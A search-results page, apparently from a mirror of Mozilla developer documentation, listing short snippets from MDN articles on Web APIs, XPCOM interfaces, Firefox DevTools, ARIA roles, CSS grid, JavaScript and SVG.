... it then calls getusermedia(), asking for a stream that has both video and audio tracks, then once that's been obtained, sets up a video element to show the stream coming from the camera as a "self view," then takes each of the stream's tracks and adds them to the webrtc rtcpeerconnection representing a connection to another user.
...And 9 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
(see the note below on why it runs "as soon as possible" and not "immediately".) more on why you might want to do this later.
... you need to display a time as before, but in this example, you need: a "start" button to start the stopwatch running.
... a "stop" button to pause/stop it.
...And 9 more matches
Implementing feature detection - Learn web development
therefore, you can detect whether the browser supports geolocation or not by using something like the following: if ("geolocation" in navigator) { navigator.geolocation.getcurrentposition(function(position) { // show the location on a map, perhaps using the google maps api }); } else { // give the user a choice of static maps instead perhaps } it is probably better to use an established feature detection library however, rather than writing your own all the time.
...download the latest version (see manual installation), unzip the zip file, copy the html5shiv-printshiv.min.js and html5shiv.min.js files into your example directory, and link to one of the files by putting the following under your <title> element: <script src="html5shiv.min.js"></script> have a look at your example css files — you'll see that basic-styling.css handles all the styling that we want to give to every browser, whereas the other two css files contain the css we want to selectively apply to browser depending on their support levels.
... if("geolocation" in navigator) { ...
...And 9 more matches
CSUN Firefox Materials
firefox 1.5, beyond the status quo "...firefox is a great little browser.
... it's a quick download, occupies very little disk space, and has a clean, no-nonsense interface." - pc magazine firefox 1.5 is a fast, free, standards compliant web browser which is rapidly gaining recognition for its fresh, streamlined approach to browsing the web.
...firefox's "www for everyone" philosophy is also a great accessibility story.
...And 9 more matches
Mozilla’s UAAG evaluation report
look to the "techniques" document for real-world implementation examples of each checkpoint.
...(p3) p we have no repair strategy in 2.7 we have no way to configure that alt="" still needs to be repaired 2.9 render conditional content automatically.
...(p1) c preferences, appearance, colors - "use my chosen colors, ignoring the colors and background image specified" 3.2 toggle audio, video, animated images.
...And 9 more matches
Communicating with frame scripts
asynchronous messaging to send an asynchronous message the frame script uses the global sendasyncmessage() function: // frame script sendasyncmessage("my-addon@me.org:my-e10s-extension-message"); sendasyncmessage() takes one mandatory parameter, which is the name of the message.
... the example below sends a message named "my-e10s-extension-message", with a data payload containing details and tag properties, and exposes the event.target object as a cpow: // frame script addeventlistener("click", function (event) { sendasyncmessage("my-addon@me.org:my-e10s-extension-message", { details : "they clicked", tag : event.target.tagname }, { target : event.target }); }, false); to receive messages fro...
... objects an object whose properties are any cpows exposed by the sender as the third argument to sendasyncmessage() in the example below the listener just logs all the messages details: // chrome script messagemanager.addmessagelistener("my-addon@me.org:my-e10s-extension-message", listener); function listener(message) { console.log(message.name); console.log(message.sync); console.log(message.data); console.log(message.target); console.log(message.objects); } so combining this message listener with the message above will give console output somewhat like this, when the user clicks a <div>: "my-addon@me.org:my-e10s-ex...
...And 9 more matches
Using JavaScript code modules
the module is loaded into a specific javascript scope, such as xul script or javascript xpcom script, using components.utils.import() or components.utils["import"]().
... creating a javascript code module a very simple javascript module looks like this: var exported_symbols = ["foo", "bar"]; function foo() { return "foo"; } var bar = { name : "bar", size : 3 }; var dummy = "dummy"; notice that the module uses normal javascript to create functions, objects, constants, and any other javascript type.
...for example: components.utils.import("resource://app/my_module.jsm"); alert(foo()); // displays "foo" alert(bar.size + 3); // displays "6" alert(dummy); // displays "dummy is not defined" because 'dummy' was not exported from the module note: when you're testing changes to a code module, be sure to change the application's build id (e.g., the version) before your next test run; otherwise, you may find yourself running the previous version of your module's code.
...And 9 more matches
SpiderMonkey Build Documentation
(if you want to use spidermonkey as a library in your c++ application, or work on improving spidermonkey itself, do a developer/debug build instead, as described below.) cd js/src # this name should end with "_opt.obj" to make the version control system ignore it.
... mkdir build_opt.obj cd build_opt.obj /bin/sh ../configure.in # use "mozmake" on windows make a few notes about this: the most common build problems are dependency problems.
... note: if you are on mac and getting an error similar to "checking whether the c compiler (gcc-4.2 ) works...
...And 9 more matches
JS::CompileOptions
to counter this attack, html5 specifies that script errors should be sanitized ("muted") when the script is not same-origin with the global for which it is loaded.
... strictoption bool true if the code is strict mode ("use strict").
... introductiontype const char a statically allocated c string: one of following in general: "eval" - code passed to eval "function" - code passed to the function constructor.
...And 9 more matches
Gecko object attributes
the first item should have posinset="1", and the last item should have a posinset value equal to the setsize.
...possible values are "off" which is the same as not being set -- this means the region is not live.
... other possible values are "polite", "assertive", and "rude", which is a suggestion for the policy when interrupting the user for changes to this region.
...And 9 more matches
Component Internals
an application, for example, could provide a "registration-less" component directory whose components are automatically registered at startup and unregistered at shutdown.
...in other words, the event you observe cannot be used to implement something like a "are you sure you want to quit?" dialog.
...in order to support something like an "are you sure you want to quit" dialog, the application needs to provide a higher-level event (e.g., startshutdown()) which allows for cancellation.
...And 9 more matches
getFile
c constant string value notes ns_os_home_dir "home" ns_os_temp_dir "tmpd" ns_os_current_working_dir "curworkd" ns_os_desktop_dir "desk" otherwise same as home ns_os_current_process_dir "curprocd" ns_xpcom_current_process_dir "xcurprocd" can be overriden by passing a "bin directory" to ns_initxpcom2().
... ns_xpcom_component_dir "comsd" ns_xpcom_component_dir_list "comsdl" ns_xpcom_component_registry_file "comregf" ns_xpcom_xpti_registry_file "xptiregf" ns_xpcom_library_file "xpcomlib" ns_gre_dir "gred" note: on mac os x, up through firefox 34 this is the contents/macos directory within the application's bundle.
... ns_gre_component_dir "grecomsd" platform-specific locations some symbolic names represent platform-specific locations.
...And 9 more matches
nsILoginManager
to create an instance, use: var loginmanager = components.classes["@mozilla.org/login-manager;1"] .getservice(components.interfaces.nsiloginmanager); method overview void addlogin(in nsilogininfo alogin); nsiautocompleteresult autocompletesearch(in astring asearchstring, in nsiautocompleteresult apreviousresult, in nsidomhtmlinputelement aelement); unsigned long countlogins(in astring ahostname, in astring aactionu...
...for example, "http://www.bar.com".
... to match all hostnames, specify "" (empty string).
...And 9 more matches
nsIWindowMediator
implemented by: @mozilla.org/appshell/window-mediator;1 as a service: var windowmediator = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); method overview void addlistener(in nsiwindowmediatorlistener alistener); boolean calculatezposition(in nsixulwindow inwindow, in unsigned long inposition, in nsiwidget inbelow, out unsigned long outposition, out nsiwidget outbelow); native code only!
... var {cc: classes, ci: interfaces} = components; var windowlistener = { onopenwindow: function (awindow) { // wait for the window to finish loading let domwindow = awindow.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsidomwindowinternal || ci.nsidomwindow); domwindow.addeventlistener("load", function () { domwindow.removeeventlistener("load", arguments.callee, false); //this removes this load function from the window //window has now loaded now do stuff to it //as example this will add a function to listen to tab select and will fire alert in that window if (domwindow.gbrowser && domwindow.gbrowser.tabcontainer) { ...
...("type" is the |windowtype| attribute of the xml <window> element.) if null, all windows will be enumerated.
...And 9 more matches
Xray vision
for example: window.confirm() is a dom api that's supposed to ask the user to confirm an action, and return a boolean depending on whether they clicked "ok" or "cancel".
...so when chrome code accesses content objects, it sees them with xray vision: // chrome code var transfer = gbrowser.contentwindow.confirm("transfer all my money?"); // calls the native implementation note that using window.confirm() would be a terrible way to implement a security policy, and is only shown here to illustrate how xray vision works.
... to waive xray vision for an object you can use components.utils.waivexrays(object), or use the object's wrappedjsobject property: // chrome code var waivedwindow = components.utils.waivexrays(gbrowser.contentwindow); var transfer = waivedwindow.confirm("transfer all my money?"); // calls the redefined implementation // chrome code var waivedwindow = gbrowser.contentwindow.wrappedjsobject; var transfer = waivedwindow.confirm("transfer all my money?"); // calls the redefined implementation waivers are transitive: so if you waive xray vision for an object, then you automatically waive it for all the object's properties.
...And 9 more matches
Browser Console - Firefox Developer Tools
to enable it set the devtools.chrome.enabled preference to true in about:config, or set the "enable browser chrome and add-on debugging toolboxes" (firefox 40 and later) option in the developer tool settings.
... opening the browser console you can open the browser console in one of two ways: from the menu: select "browser console" from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on macos).
... one exported symbol from console.jsm is "console".
...And 9 more matches
Dominators view - Firefox Developer Tools
this is useful for understanding the "retained size" of objects allocated by your site: that is, the size of the objects themselves plus the size of the objects that they keep alive through references.
... dominators ui to see the dominators view for a snapshot, select "dominators" in the "view" drop-down list.
... in the main part of the ui, the first row is labeled "gc roots".
...And 9 more matches
The JavaScript input interpreter - Firefox Developer Tools
multi-line mode for multi-line entry, click the "split pane" icon at the right hand side of the single-line entry field, or press ctrl+b (windows/linux) or cmd+b (macos).
... starting in firefox 76, if the code snippet is more than five lines long, only the first five lines are echoed in the console, preceeded by a disclosure triangle (or "twistie"), and followed by an ellipsis (…).
... you get autocomplete suggestions for array elements, as well: you can enable or disable autocompletion via the settings ("gear") menu in the web console toolbar.
...And 9 more matches
AddressErrors - Web APIs
function handleaddresschange(ev) { const validcountries = ["us", "ca", "gb", "jp", "cn", "mx"]; const genericaddresserror = "unable to ship to the given address.
... please check for any errors."; const invalidcountryerror = "at this time, we only ship to the united states, canada, great britain, japan, china, and germany."; let shippingaddress = ev.target.shippingaddress; let shippingaddresserrors = {}; let updatedetails = {}; if (!validcountries.includes(shippingaddress.country)) { ev.target.shippingoptions = []; shippingaddresserrors.country = invalidcountryerror; updatedetails = { error: genericaddresserror, shippingaddresserrors, ...defaultpaymentdetails }; } ev.updatewith(updatedetails); } see handling address changes for a description of how this code works.
...in the example, we're handling a donation to an organization that will be sending a "thank you" gift to the donor, so it requests shipping information along with allowing the donation payment itself.
...And 9 more matches
Examples of web and XML development using the DOM - Web APIs
example 1: height and width the following example shows the use of the height and width properties alongside images of varying dimensions: <!doctype html> <html lang="en"> <head> <title>width/height example</title> <script> function init() { var arrimages = new array(3); arrimages[0] = document.getelementbyid("image1"); arrimages[1] = document.getelementbyid("image2"); arrimages[2] = document.getelementbyid("image3"); var objoutput = document.getelementbyid("output"); var strhtml = "<ul>"; for (var i = 0; i < arrimages.length; i++) { strhtml += "<li>image"...
... + (i+1) + ": height=" + arrimages[i].height + ", width=" + arrimages[i].width + ", style.height=" + arrimages[i].style.height + ", style.width=" + arrimages[i].style.width + "<\/li>"; } strhtml += "<\/ul>"; objoutput.innerhtml = strhtml; } </script> </head> <body onload="init();"> <p>image 1: no height, width, or style <img id="image1" src="https://udn.realityripple.com/samples/d2/8ba7141ed1.gif"> </p> <p>image 2: height="50", width="500", but no style <img id="image2" src="https://udn.realityripple.com/samples/d2/8ba7141ed1.gif" height="50" width="500"> </p> <p>image 3: no height, width, but style="height: 50px; width: 500px;" <img id="image3" src="https://udn.realityripple.com/samples/d2/8ba...
...7141ed1.gif" style="height: 50px; width: 500px;"> </p> <div id="output"> </div> </body> </html> example 2: image attributes <!doctype html> <html lang="en"> <head> <title>modifying an image border</title> <script> function setborderwidth(width) { document.getelementbyid("img1").style.borderwidth = width + "px"; } </script> </head> <body> <p> <img id="img1" src="image1.gif" style="border: 5px solid green;" width="100" height="100" alt="border test"> </p> <form name="formname"> <input type="button" value="make border 20px-wide" onclick="setborderwidth(20);" /> <input type="button" value="make border 5px-wide" onclick="setborderwidth(5);" /> </form> </body> </html> example 3: manipulating styles in this simple example, some basic style properties...
...And 9 more matches
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
</h1> this source code contains a couple of line feeds after the doctype and a bunch of space characters before, after, and inside the <h1> element, but the browser doesn’t seem to care at all and just shows the words "hello world!" as if these characters didn’t exist at all: this is so that whitespace characters don't impact the layout of your page.
...in the earlier example one of the spaces between "hello" and "world!" still exists when the page is rendered in a browser.
...in fact it contains: a text node (consisting of some spaces, the word "hello" and some tabs).
...And 9 more matches
Using FormData Objects - Web APIs
creating a formdata object from scratch you can build a formdata object yourself, instantiating it then appending fields to it by calling its append() method, like this: var formdata = new formdata(); formdata.append("username", "groucho"); formdata.append("accountnum", 123456); // number 123456 is immediately converted to a string "123456" // html file input, chosen by user formdata.append("userfile", fileinputelement.files[0]); // javascript file-like object var content = '<a id="a"><b id="b">hey!</b></a>'; // the body of the new file...
... var blob = new blob([content], { type: "text/xml"}); formdata.append("webmasterfile", blob); var request = new xmlhttprequest(); request.open("post", "http://foo.com/submitform.php"); request.send(formdata); note: the fields "userfile" and "webmasterfile" both contain a file.
... the number assigned to the field "accountnum" is immediately converted into a string by the formdata.append() method (the field's value can be a blob, file, or a string: if the value is neither a blob nor a file, the value is converted to a string).
...And 9 more matches
KeyboardEvent() - Web APIs
keyboardeventinitoptional is a keyboardeventinit dictionary, having the following fields: "key", optional and defaulting to "", of type domstring, that sets the value of keyboardevent.key.
... "code", optional and defaulting to "", of type domstring, that sets the value of keyboardevent.code.
... "location", optional and defaulting to 0, of type unsigned long, that sets the value of keyboardevent.location.
...And 9 more matches
RTCConfiguration - Web APIs
if this value isn't included in the dictionary, "balanced" is assumed.
...the default is "require".
... constants rtcbundlepolicy enum the rtcbundlepolicy enum defines string constants which are used to request a specific policy for gathering ice candidates if the remote peer isn't "bundle-aware" (compatible with the sdp bundle standard for bundling multiple media streams on a single transport link).
...And 9 more matches
SVGSVGElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" fon...
...t-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" widt...
...h="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491"...
...And 9 more matches
SubtleCrypto.exportKey() - Web APIs
/* export the given key and write it into the "exported-key" space.
... */ async function exportcryptokey(key) { const exported = await window.crypto.subtle.exportkey( "raw", key ); const exportedkeybuffer = new uint8array(exported); const exportkeyoutput = document.queryselector(".exported-key"); exportkeyoutput.textcontent = `[${exportedkeybuffer}]`; } /* generate an encrypt/decrypt secret key, then set up an event listener on the "export" button.
... */ window.crypto.subtle.generatekey( { name: "aes-gcm", length: 256, }, true, ["encrypt", "decrypt"] ).then((key) => { const exportbutton = document.queryselector(".raw"); exportbutton.addeventlistener("click", () => { exportcryptokey(key); }); }); pkcs #8 export this example exports an rsa private signing key as a pkcs #8 object.
...And 9 more matches
Touch() - Web APIs
WebAPITouchTouch
syntax touch = new touch(touchinit); arguments touchinit is a touchinit dictionary, having the following fields: "identifier", required, of type long, that is the identification number for the touch point.
... "target", required, of type eventtarget, the item at which the touch point started when it was first placed on the surface.
... "clientx", optional and defaulting to 0, of type double, that is the horizontal position of the touch on the client window of user's screen, excluding any scroll offset.
...And 9 more matches
ARIA: form role - Accessibility
<div role="form" id="contact-info" aria-label="contact information"> <!-- form content --> </div> this is a form that collects and saves a user's contact information.
... use the role="form" to identify a region of the page; do not use it to identify every form field.
... examples <div role="form" id="send-comment" aria-label="add a comment"> <label for="username">username</label> <input id="username" name="username" autocomplete="nickname" autocorrect="off" type="text"> <label for="email">email</label> <input id="email" name="email" autocomplete="email" autocapitalize="off" autocorrect="off" spellcheck="false" type="text"> <label for="comment">comment</label> <textarea ...
...And 9 more matches
ARIA: textbox role - Accessibility
whenever possible, rather than using this role, use an <input> element with type="text", for single-line input, or a <textarea> element for multi-line input.
... the default is a single line input, in which return or enter submits the form; in this case, it is preferable to use an html <input> with type="text".
... to create a multi-line text box which supports line breaks, as in an html <textarea>, set aria-multiline="true".
...And 9 more matches
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 10px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> default rules for auto-placement as you can see with the above example, if you create a grid all child items will lay themselves out one into each grid cell.
...to cause all created rows to be 100 pixels tall for example you would use: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 10px; grid-auto-rows: 100px; } you can use minmax() in your value for grid-auto-rows enabling the creation of rows that are a minimum size but then grow to fit content if it is taller.
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four <br>this cell <br>has extra <br>content.
...And 9 more matches
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
in the code snippet below, the item is placed 20 pixels from the top, and 30 pixels from the left of the container: .container { position: relative; } .item { position: absolute; top: 20px; left: 30px; } <div class="container"> <div class="item">item</div> </div> another place you might see physical keywords in use, is when using text-align: right to align text to the right.
...i have added dir="rtl" to the html element, which switches the writing mode from the default for an english language document of ltr.
... .wrapper > p { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; margin: 1em; color: #d9480f; max-width: 300px; } <div class="wrapper"> <p style="writing-mode: horizontal-tb">i have writing mode set to the default <code>horizontal-tb</code></p> <p style="writing-mode: vertical-rl">i have writing mode set to <code>vertical-rl</code></p> </div> writing modes in grid layouts if we now take a look at a grid layout example, we can see how changing the writing mode means changing our idea of where the block and inli...
...And 9 more matches
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { width: 500px; display: flex; flex-wrap: wrap; } .wrapper > div { flex: 1 1 150px; } in the image, you can see that two items have wrapped onto a new line.
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); } a simple question to ask yourself when deciding between grid or flexbox is: do i only need to control the layout by row or column – use a flexbox do i need to control the layout by row and column – use a grid...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> </div> .wrapper { display: flex; align-items: flex-end; min-height: 200px; } .box1 { align-self: stretch; } .box2 { align-self: flex-start; } alignment in css grids this second example uses a grid to create the same layout.
...And 9 more matches
Using CSS transforms - CSS: Cascading Style Sheets
<img style="transform: rotate(90deg); transform-origin: bottom left;" src="https://udn.realityripple.com/samples/6d/6633f3efc0.png"> skewing and translating here is the mdn logo, skewed by 10 degrees and translated by 150 pixels on the x-axis.
... <img style="transform: skewx(10deg) translatex(150px); transform-origin: bottom left;" src="https://udn.realityripple.com/samples/6d/6633f3efc0.png"> 3d specific css properties performing css transformations in 3d space is a bit more complex.
... <table> <tbody> <tr> <th><code>perspective: 250px;</code> </th> <th><code>perspective: 350px;</code> </th> </tr> <tr> <td> <div class="container"> <div class="cube pers250"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </td> <td> <div class="container"> ...
...And 9 more matches
Specificity - CSS: Cascading Style Sheets
class selectors (e.g., .example), attributes selectors (e.g., [type="radio"]) and pseudo-classes (e.g., :hover).
...(the selectors declared inside :not() do, however.) for more information, visit: "specificity" in "cascade and inheritance", you can also visit: https://specifishity.com inline styles added to an element (e.g., style="font-weight: bold;") always overwrite any styles in external stylesheets, and thus can be thought of as having the highest specificity.
...by indicating one or more elements before the element you're selecting, the rule becomes more specific and gets higher priority: <div id="test"> <span>text</span> </div> div#test span { color: green; } div span { color: blue; } span { color: red; } no matter the order, text will be green because that rule is most specific.
...And 9 more matches
font - CSS: Cascading Style Sheets
WebCSSfont
line-height must immediately follow font-size, preceded by "/", like this: "16px/3" font-family must be the last value specified.
...</p> <form action="createshorthand()"> <div class="cf"> <div class="setpropcont"> font-style<br/> <input type="radio" id="font-style-none" name="font_style" checked="" value="" onchange="setcss()"> <label for="font-style-none">none</label><br/> <input type="radio" id="font-style-normal" name="font_style" value="normal" onchange="setcss()"> <label for="font-style-normal...
...">normal</label><br/> <input type="radio" id="font-style-italic" name="font_style" value="italic" onchange="setcss()"> <label for="font-style-italic">italic</label><br/> <input type="radio" id="font-style-oblique" name="font_style" value="oblique" onchange="setcss()"> <label for="font-style-oblique">oblique</label> </div> <div class="setpropcont"> font-variant<br> <input type="radio" id="font-variant-none" name="font_variant" checked="" value=" " onchange="setcss()"> <label for="font-variant-none">none</label><br/> <input type="radio" id="font-variant-normal" name="font_variant" value="normal" onchange="setcss()"> <label for="font-variant-normal">normal</label><br/> <input type="radio" id="font-variant-...
...And 9 more matches
HTML attribute: accept - HTML: Hypertext Markup Language
for instance, there are a number of ways microsoft word files can be identified, so a site that accepts word files might use an <input> like this: <input type="file" id="docpicker" accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"> whereas if you're accepting a media file, you may want to be include any format of that media type: <input type="file" id="soundfile" accept="audio/*"> <input type="file" id="videofile" accept="video/*"> <input type="file" id="imagefile" accept="image/*"> the ac...
... <p> <label for="soundfile">select an audio file:</label> <input type="file" id="soundfile" accept="audio/*"> </p> <p> <label for="videofile">select a video file:</label> <input type="file" id="videofile" accept="video/*"> </p> <p> <label for="imagefile">select some images:</label> <input type="file" id="imagefile" accept="image/*" multiple> </p> note the last example allows you to select multiple iam...
...each unique file type specifier may take one of the following forms: a valid case-insensitive filename extension, starting with a period (".") character.
...And 9 more matches
JavaScript data types and data structures - JavaScript
rticular value type, and any variable can be assigned (and re-assigned) values of all types: let foo = 42; // foo is now a number foo = 'bar'; // foo is now a string foo = true; // foo is now a boolean data and structure types the latest ecmascript standard defines nine types: six data types that are primitives, checked by typeof operator: undefined : typeof instance === "undefined" boolean : typeof instance === "boolean" number : typeof instance === "number" string : typeof instance === "string" bigint : typeof instance === "bigint" symbol : typeof instance === "symbol" null : typeof instance === "object".
... special primitive type having additional usage for its value: if object is not inherited, then null is shown; object : typeof instance === "object".
... special non-data but structural type for any constructed object instance also used as data structures: new object, new array, new map, new set, new weakmap, new set, new date and almost everything made with new keyword; function : a non-data structure, though it also answers for typeof operator: typeof instance === "function".
...And 9 more matches
Numbers and dates - JavaScript
binary numbers binary number syntax uses a leading zero followed by a lowercase or uppercase latin letter "b" (0b or 0b).
... if the digits after the 0b are not 0 or 1, the following syntaxerror is thrown: "missing binary digits after 0b".
...octal syntax isn't part of ecmascript 5, but it's supported in all browsers by prefixing the octal number with a zero: 0644 === 420 and "\045" === "%".
...And 9 more matches
Text formatting - JavaScript
it is a set of "elements" of 16-bit unsigned integer values (utf-16 code units).
... string literals you can create simple strings using either single or double quotes: 'foo' "bar" more advanced strings can be created using escape sequences: hexadecimal escape sequences the number after \x is interpreted as a hexadecimal number.
... '\xa9' // "©" unicode escape sequences the unicode escape sequences require at least four hexadecimal digits following \u.
...And 9 more matches
Public class fields - JavaScript
class classwithstaticfield { static staticfield = 'static field' } console.log(classwithstaticfield.staticfield) // expected output: "static field"​ fields without initializers are initialized to undefined.
... class classwithstaticfield { static staticfield } console.assert(classwithstaticfield.hasownproperty('staticfield')) console.log(classwithstaticfield.staticfield) // expected output: "undefined" public static fields are not reinitialized on subclasses, but can be accessed via the prototype chain.
... class classwithstaticfield { static basestaticfield = 'base field' } class subclasswithstaticfield extends classwithstaticfield { static substaticfield = 'sub class field' } console.log(subclasswithstaticfield.substaticfield) // expected output: "sub class field" console.log(subclasswithstaticfield.basestaticfield) // expected output: "base field" when initializing fields, this refers to the class constructor.
...And 9 more matches
Intl - JavaScript
for example: "hi": hindi (language) "de-at": german (language) as used in austria (region) "zh-hans-cn": chinese (language) written in simplified characters (script) as used in china (region) "en-emodeng": english (language) in the "early modern english" dialect (variant) the subtags identifying languages, scripts, regions (including countries), and (rarely used) variants in unicode bcp 47 locale identifie...
... bcp 47 also allows for extensions, each consisting of a single digit or letter (other than "x") and one or more two- to eight-letter or digit tags, all separated by hyphens.
... javascript internationalization functions use the "u" (unicode) extension, which can be used to request additional customization of collator, numberformat, or datetimeformat objects.
...And 9 more matches
Promise.prototype.then() - JavaScript
if it is not a function, it is internally replaced with an "identity" function (it returns the received argument).
...if it is not a function, it is internally replaced with a "thrower" function (it throws an error it received as argument).
... // using a resolved promise, the 'then' block will be triggered instantly, // but its handlers will be triggered asynchronously as demonstrated by the console.logs const resolvedprom = promise.resolve(33); let thenprom = resolvedprom.then(value => { console.log("this gets called after the end of the main stack.
...And 9 more matches
String.prototype.split() - JavaScript
for example, a string containing tab separated values (tsv) could be parsed by passing a tab character as the separator, like this: mystring.split("\t").
... if separator is an empty string (""), str is converted to an array of each of its utf-16 "characters".
... warning: when the empty string ("") is used as a separator, the string is not split by user-perceived characters (grapheme clusters) or unicode characters (codepoints), but by utf-16 codeunits.
...And 9 more matches
Template literals (Template strings) - JavaScript
they were called "template strings" in prior editions of the es2015 specification.
... using normal strings, you would have to use the following syntax in order to get multi-line strings: console.log('string text line 1\n' + 'string text line 2'); // "string text line 1 // string text line 2" using template literals, you can do the same like this: console.log(`string text line 1 string text line 2`); // "string text line 1 // string text line 2" expression interpolation in order to embed expressions within normal strings, you would use the following syntax: let a = 5; let b = 10; console.log('fifteen is ' + (a + b) + ' and\nnot ' + (2 * a ...
...+ b) + '.'); // "fifteen is 15 and // not 20." now, with template literals, you are able to make use of the syntactic sugar, making substitutions like this more readable: let a = 5; let b = 10; console.log(`fifteen is ${a + b} and not ${2 * a + b}.`); // "fifteen is 15 and // not 20." nesting templates in certain cases, nesting a template is the easiest (and perhaps more readable) way to have configurable strings.
...And 9 more matches
begin - SVG: Scalable Vector Graphics
WebSVGAttributebegin
the interpretation of a list of start times is detailed in the smil specification in "evaluation of begin and end time lists".
... examples offset example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1"> <!-- animated rectangles --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" to="100" begin="0s" dur="8s" fill="freeze" /> </rect> <rect x="35" y="60" height="15" width="0"> <animate attribu...
...tetype="xml" attributename="width" to="75" begin="2s" dur="6s" fill="freeze" /> </rect> <rect x="60" y="85" height="15" width="0"> <animate attributetype="xml" attributename="width" to="50" begin="4s" dur="4s" fill="freeze" /> </rect> <!-- grid --> <text x="10" y="20" text-anchor="middle">0s</text> <line x1="10" y1="25" x2="10" y2="105" stroke="grey" stroke-width=".5" /> <text x="35" y="20" text-anchor="middle">2s</text> <line x1="35" y1="25" x2="35" y2="105" stroke="grey" stroke-width=".5" /> <text x="60" y="20" text-anchor="middle">4s</text> <line x1="60" y1="25" x2="60" y2="105" stroke="grey" stroke-width=".5" /> <text x="85" y="20" text-anchor="middle">6s</text> ...
...And 9 more matches
stroke-linejoin - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following nine elements: <altglyph>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 18 12" xmlns="http://www.w3.org/2000/svg"> <!-- upper left path: effect of the "miter" value --> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="miter" /> <!-- center path: effect of the "round" value --> <path d="m7,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="round" /> <...
